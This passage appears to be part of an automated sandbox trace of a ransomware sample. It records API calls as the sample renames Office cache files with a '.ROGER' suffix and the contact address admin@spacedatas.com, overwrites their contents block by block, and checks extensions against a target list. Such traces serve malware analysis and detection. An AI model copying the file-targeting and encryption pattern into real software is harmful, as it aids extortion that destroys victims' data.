nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x44bfc38, lpOverlapped=0x0 | out: lpBuffer=0x50f0058*, lpNumberOfBytesRead=0x44bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.457] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x44bfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0044.457] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x11c0204, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc2c | out: lpNewFilePointer=0x0) returned 1 [0044.457] ReadFile (in: hFile=0x35c, lpBuffer=0x5130058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x44bfc38, lpOverlapped=0x0 | out: lpBuffer=0x5130058*, lpNumberOfBytesRead=0x44bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.474] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.475] WriteFile (in: hFile=0x35c, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x44bfcb0, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0044.762] SetEndOfFile (hFile=0x35c) returned 1 [0044.762] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x5360048 [0044.763] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc7c | out: lpNewFilePointer=0x0) returned 1 [0044.763] WriteFile (in: hFile=0x35c, lpBuffer=0x5360048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x44bfc88, lpOverlapped=0x0 | out: lpBuffer=0x5360048*, lpNumberOfBytesWritten=0x44bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.764] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc7c | out: lpNewFilePointer=0x0) returned 1 [0044.764] WriteFile (in: hFile=0x35c, lpBuffer=0x5360048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x44bfc88, lpOverlapped=0x0 | out: lpBuffer=0x5360048*, lpNumberOfBytesWritten=0x44bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.767] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x11c0204, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc7c | out: lpNewFilePointer=0x0) returned 1 [0044.767] WriteFile (in: hFile=0x35c, lpBuffer=0x5360048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x44bfc88, lpOverlapped=0x0 | out: lpBuffer=0x5360048*, lpNumberOfBytesWritten=0x44bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.770] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x5360048 | out: hHeap=0x790000) returned 1 [0044.770] CloseHandle (hObject=0x35c) returned 1 [0044.794] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0044.795] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0044.795] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0044.795] lstrlenW (lpString=".doc") returned 4 [0044.795] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0044.795] lstrlenW (lpString=".docx") returned 5 [0044.795] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0044.795] lstrlenW (lpString=".pdf") returned 4 [0044.795] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0044.795] lstrlenW (lpString=".xls") returned 4 [0044.795] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0044.795] lstrlenW (lpString=".xlsx") returned 5 [0044.795] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0044.795] lstrlenW (lpString=".ppt") returned 4 [0044.795] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0044.795] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0044.795] lstrlenW (lpString=".zip") returned 4 [0044.795] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0044.795] lstrlenW (lpString=".rar") returned 4 [0044.795] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0044.795] lstrlenW (lpString=".bz2") returned 4 [0044.795] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0044.795] lstrlenW (lpString=".7z") returned 3 [0044.795] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0044.795] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0044.795] lstrlenW (lpString=".dbf") returned 4 [0044.795] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0044.796] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0044.796] lstrlenW (lpString=".1cd") returned 4 [0044.796] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0044.796] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0044.796] lstrlenW (lpString=".jpg") returned 4 [0044.796] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0044.796] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0044.796] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0044.796] lstrlenW (lpString=".doc") returned 4 [0044.796] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0044.796] lstrlenW (lpString=".docx") returned 5 [0044.796] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0044.796] lstrlenW (lpString=".pdf") returned 4 [0044.796] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0044.796] lstrlenW (lpString=".xls") returned 4 [0044.796] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0044.796] lstrlenW (lpString=".xlsx") returned 5 [0044.796] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0044.796] lstrlenW (lpString=".ppt") returned 4 [0044.796] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0044.796] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0044.796] lstrlenW (lpString=".zip") returned 4 [0044.796] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0044.796] lstrlenW (lpString=".rar") returned 4 [0044.796] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0044.796] lstrlenW (lpString=".bz2") returned 4 [0044.796] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0044.796] lstrlenW (lpString=".7z") returned 3 [0044.796] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0044.796] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0044.797] lstrlenW (lpString=".dbf") returned 4 [0044.797] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0044.797] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0044.797] lstrlenW (lpString=".1cd") returned 4 [0044.797] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0044.797] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0044.797] lstrlenW (lpString=".jpg") returned 4 [0044.797] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0044.797] lstrcmpiW (lpString1=".msi", lpString2=".ROGER") returned -1 [0044.797] lstrlenW (lpString="InfoPathMUI.msi") returned 15 [0044.797] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0044.797] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x44bff1c | out: lpFileSize=0x44bff1c*=3124224) returned 1 [0044.797] CloseHandle (hObject=0x35c) returned 1 [0044.797] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi")) returned 0x2020 [0044.797] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0044.797] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0044.798] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0044.798] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc6c | out: lpNewFilePointer=0x0) returned 1 [0044.798] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc2c | out: lpNewFilePointer=0x0) returned 1 [0044.798] ReadFile (in: hFile=0x35c, lpBuffer=0x50b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x44bfc38, lpOverlapped=0x0 | out: lpBuffer=0x50b0058*, lpNumberOfBytesRead=0x44bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.804] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc2c | out: lpNewFilePointer=0x0) returned 1 [0044.804] ReadFile (in: hFile=0x35c, lpBuffer=0x50f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x44bfc38, lpOverlapped=0x0 | out: lpBuffer=0x50f0058*, lpNumberOfBytesRead=0x44bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.811] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x44bfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0044.812] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc2c | out: lpNewFilePointer=0x0) returned 1 [0044.812] ReadFile (in: hFile=0x35c, lpBuffer=0x5130058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x44bfc38, lpOverlapped=0x0 | out: lpBuffer=0x5130058*, lpNumberOfBytesRead=0x44bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.037] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0045.037] WriteFile (in: hFile=0x35c, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xc010a, lpNumberOfBytesWritten=0x44bfcb0, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfcb0*=0xc010a, lpOverlapped=0x0) returned 1 [0045.053] SetEndOfFile (hFile=0x35c) returned 1 [0045.053] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x5360048 [0045.053] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc7c | out: lpNewFilePointer=0x0) returned 1 [0045.053] WriteFile (in: hFile=0x35c, lpBuffer=0x5360048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x44bfc88, lpOverlapped=0x0 | out: lpBuffer=0x5360048*, lpNumberOfBytesWritten=0x44bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.055] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc7c | out: lpNewFilePointer=0x0) returned 1 [0045.055] WriteFile (in: hFile=0x35c, lpBuffer=0x5360048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x44bfc88, lpOverlapped=0x0 | out: lpBuffer=0x5360048*, lpNumberOfBytesWritten=0x44bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.067] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc7c | out: lpNewFilePointer=0x0) returned 1 [0045.067] WriteFile (in: hFile=0x35c, lpBuffer=0x5360048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x44bfc88, lpOverlapped=0x0 | out: lpBuffer=0x5360048*, lpNumberOfBytesWritten=0x44bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.069] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x5360048 | out: hHeap=0x790000) returned 1 [0045.069] CloseHandle (hObject=0x35c) returned 1 [0045.069] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0045.069] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0045.069] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0045.069] lstrlenW (lpString=".doc") returned 4 [0045.069] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0045.069] lstrlenW (lpString=".docx") returned 5 [0045.069] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0045.070] lstrlenW (lpString=".pdf") returned 4 [0045.070] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0045.070] lstrlenW (lpString=".xls") returned 4 [0045.070] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0045.070] lstrlenW (lpString=".xlsx") returned 5 [0045.070] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0045.070] lstrlenW (lpString=".ppt") returned 4 [0045.070] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0045.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0045.070] lstrlenW (lpString=".zip") returned 4 [0045.070] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0045.070] lstrlenW (lpString=".rar") returned 4 [0045.070] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0045.070] lstrlenW (lpString=".bz2") returned 4 [0045.070] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0045.070] lstrlenW (lpString=".7z") returned 3 [0045.070] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0045.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0045.070] lstrlenW (lpString=".dbf") returned 4 [0045.070] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0045.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0045.070] lstrlenW (lpString=".1cd") returned 4 [0045.070] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0045.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0045.070] lstrlenW (lpString=".jpg") returned 4 [0045.070] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0045.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0045.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0045.070] lstrlenW (lpString=".doc") returned 4 [0045.070] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0045.070] lstrlenW (lpString=".docx") returned 5 [0045.070] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0045.071] lstrlenW (lpString=".pdf") returned 4 [0045.071] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0045.071] lstrlenW (lpString=".xls") returned 4 [0045.071] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0045.071] lstrlenW (lpString=".xlsx") returned 5 [0045.071] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0045.071] lstrlenW (lpString=".ppt") returned 4 [0045.071] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0045.071] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0045.071] lstrlenW (lpString=".zip") returned 4 [0045.071] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0045.071] lstrlenW (lpString=".rar") returned 4 [0045.071] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0045.071] lstrlenW (lpString=".bz2") returned 4 [0045.071] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0045.071] lstrlenW (lpString=".7z") returned 3 [0045.071] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0045.071] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0045.071] lstrlenW (lpString=".dbf") returned 4 [0045.071] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0045.071] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0045.071] lstrlenW (lpString=".1cd") returned 4 [0045.071] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0045.071] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0045.071] lstrlenW (lpString=".jpg") returned 4 [0045.071] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0045.071] lstrcmpiW (lpString1=".msi", lpString2=".ROGER") returned -1 [0045.071] lstrlenW (lpString="OneNoteMUI.msi") returned 14 [0045.072] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0045.072] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x44bff1c | out: lpFileSize=0x44bff1c*=2503680) returned 1 [0045.072] CloseHandle (hObject=0x35c) returned 1 [0045.072] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi")) returned 0x2020 [0045.072] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0045.072] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0045.073] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0045.073] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc6c | out: lpNewFilePointer=0x0) returned 1 [0045.073] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc2c | out: lpNewFilePointer=0x0) returned 1 [0045.073] ReadFile (in: hFile=0x35c, lpBuffer=0x50b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x44bfc38, lpOverlapped=0x0 | out: lpBuffer=0x50b0058*, lpNumberOfBytesRead=0x44bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.170] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc2c | out: lpNewFilePointer=0x0) returned 1 [0045.170] ReadFile (in: hFile=0x35c, lpBuffer=0x50f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x44bfc38, lpOverlapped=0x0 | out: lpBuffer=0x50f0058*, lpNumberOfBytesRead=0x44bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.207] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x44bfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0045.207] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc2c | out: lpNewFilePointer=0x0) returned 1 [0045.207] ReadFile (in: hFile=0x35c, lpBuffer=0x5130058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x44bfc38, lpOverlapped=0x0 | out: lpBuffer=0x5130058*, lpNumberOfBytesRead=0x44bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.222] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0045.222] WriteFile (in: hFile=0x35c, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x44bfcb0, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0045.571] SetEndOfFile (hFile=0x35c) returned 1 [0045.571] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x4f48010 [0045.571] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc7c | out: lpNewFilePointer=0x0) returned 1 [0045.571] WriteFile (in: hFile=0x35c, lpBuffer=0x4f48010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x44bfc88, lpOverlapped=0x0 | out: lpBuffer=0x4f48010*, lpNumberOfBytesWritten=0x44bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.573] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc7c | out: lpNewFilePointer=0x0) returned 1 [0045.573] WriteFile (in: hFile=0x35c, lpBuffer=0x4f48010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x44bfc88, lpOverlapped=0x0 | out: lpBuffer=0x4f48010*, lpNumberOfBytesWritten=0x44bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.578] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc7c | out: lpNewFilePointer=0x0) returned 1 [0045.578] WriteFile (in: hFile=0x35c, lpBuffer=0x4f48010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x44bfc88, lpOverlapped=0x0 | out: lpBuffer=0x4f48010*, lpNumberOfBytesWritten=0x44bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.581] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f48010 | out: hHeap=0x790000) returned 1 [0045.581] CloseHandle (hObject=0x35c) returned 1 [0045.582] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0045.582] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0045.582] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0045.582] lstrlenW (lpString=".doc") returned 4 [0045.582] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0045.582] lstrlenW (lpString=".docx") returned 5 [0045.582] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0045.582] lstrlenW (lpString=".pdf") returned 4 [0045.582] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0045.582] lstrlenW (lpString=".xls") returned 4 [0045.582] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0045.582] lstrlenW (lpString=".xlsx") returned 5 [0045.582] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0045.582] lstrlenW (lpString=".ppt") returned 4 [0045.582] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0045.582] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0045.582] lstrlenW (lpString=".zip") returned 4 [0045.582] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0045.582] lstrlenW (lpString=".rar") returned 4 [0045.582] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0045.582] lstrlenW (lpString=".bz2") returned 4 [0045.582] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0045.582] lstrlenW (lpString=".7z") returned 3 [0045.582] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0045.583] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0045.583] lstrlenW (lpString=".dbf") returned 4 [0045.583] lstrcmpiW (lpString1=".dbf", 